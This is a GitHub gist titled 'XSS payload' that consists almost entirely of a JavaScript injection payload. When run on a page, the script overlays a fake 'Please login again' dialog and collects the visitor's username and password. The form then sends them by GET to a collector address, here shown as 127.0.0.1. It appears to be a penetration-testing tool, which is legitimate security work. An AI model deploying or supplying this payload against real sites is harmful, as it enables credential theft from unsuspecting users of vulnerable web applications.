Skip to content

Instantly share code, notes, and snippets.

@sdcampbell
Created April 30, 2022 13:00
Show Gist options
  • Save sdcampbell/ddfebcba44f83da4a92417dbed9d3880 to your computer and use it in GitHub Desktop.
Save sdcampbell/ddfebcba44f83da4a92417dbed9d3880 to your computer and use it in GitHub Desktop.
XSS payload
var html = `
<div id="bg" style="position: absolute; z-index: 100; width: 100%; height: 100%; background-color: #000000; opacity: 0.5; top: 0; left: 0; margin: 0">
</div>
<div id="form" style="position: absolute; z-index: 150; font-family: Arial; background-color: #ffffff; width: 280px; height: 185px; top: 50%; left: 40%; padding: 10px">
<p>An error occurred. Please login again.</p>
<form method="GET" action="https://127.0.0.1:443/">
<p>Username <input type="text" name="username"></p>
<p>Password <input type="password" name="password"></p>
<p><input type="submit" value="Login"></p>
</form>
</div> `;
var div = document.createElement("div");
div.innerHTML = html;
document.getElementsByTagName("body")[0].appendChild(div);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment